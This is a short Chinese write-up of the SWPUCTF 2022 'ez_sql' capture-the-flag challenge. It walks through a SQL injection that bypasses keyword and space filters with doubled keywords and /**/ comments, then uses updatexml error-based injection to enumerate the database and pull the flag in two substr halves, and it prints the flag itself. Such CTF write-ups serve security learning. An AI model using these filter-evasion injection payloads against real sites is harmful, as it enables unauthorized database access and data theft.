[SWPUCTF 2022 新生赛]ez_sql
· 阅读约 1 分钟

用相对安全的方式传参说明使用post方法

发到repeater里,把请求方式改成post然后传入nss=1试试
测试一遍常用的闭合,发现输入1' 报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
说明是需要用'进行闭合,并且有limit限制 需要注释掉
尝试用order by探测出union select参数数量,发现`OR关键词和空格被过滤

绕过or关键字识别:用双写oorrder
绕过空格:用/**/代替空格
nss=1'/**/oorrder/**/by/**/3%23
union的双写绕过:
nss=-1'/**/ununionion/**/select/**/1,2,database()%23
发现没有回显,所以不能用联合注入,但是有报错信息 所以开始尝试报错注入
nss=-1'/**/aandnd/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),1)%23
得到:XPATH syntax error: '~NSS_db~'
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到table:NSS_tb
select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='NSS_tb'
得到column:flll444g(fake),Secr3t
select/**/group_concat(Secr3t)/**/from/**/NSS_tb
发现有长度限制,只能打印一半的flag

所以用substr()函数将flag分为两次获取
select/**/group_concat(substr(Secr3t,25,25))/**/from/**/NSS_tb
得到:
NSSCTF{d3d4c02c-926a-4bed-9d11-
d-9d11-afc7d4f7c773}
拼接:NSSCTF{d3d4c02c-926a-4bed-9d11-afc7d4f7c773}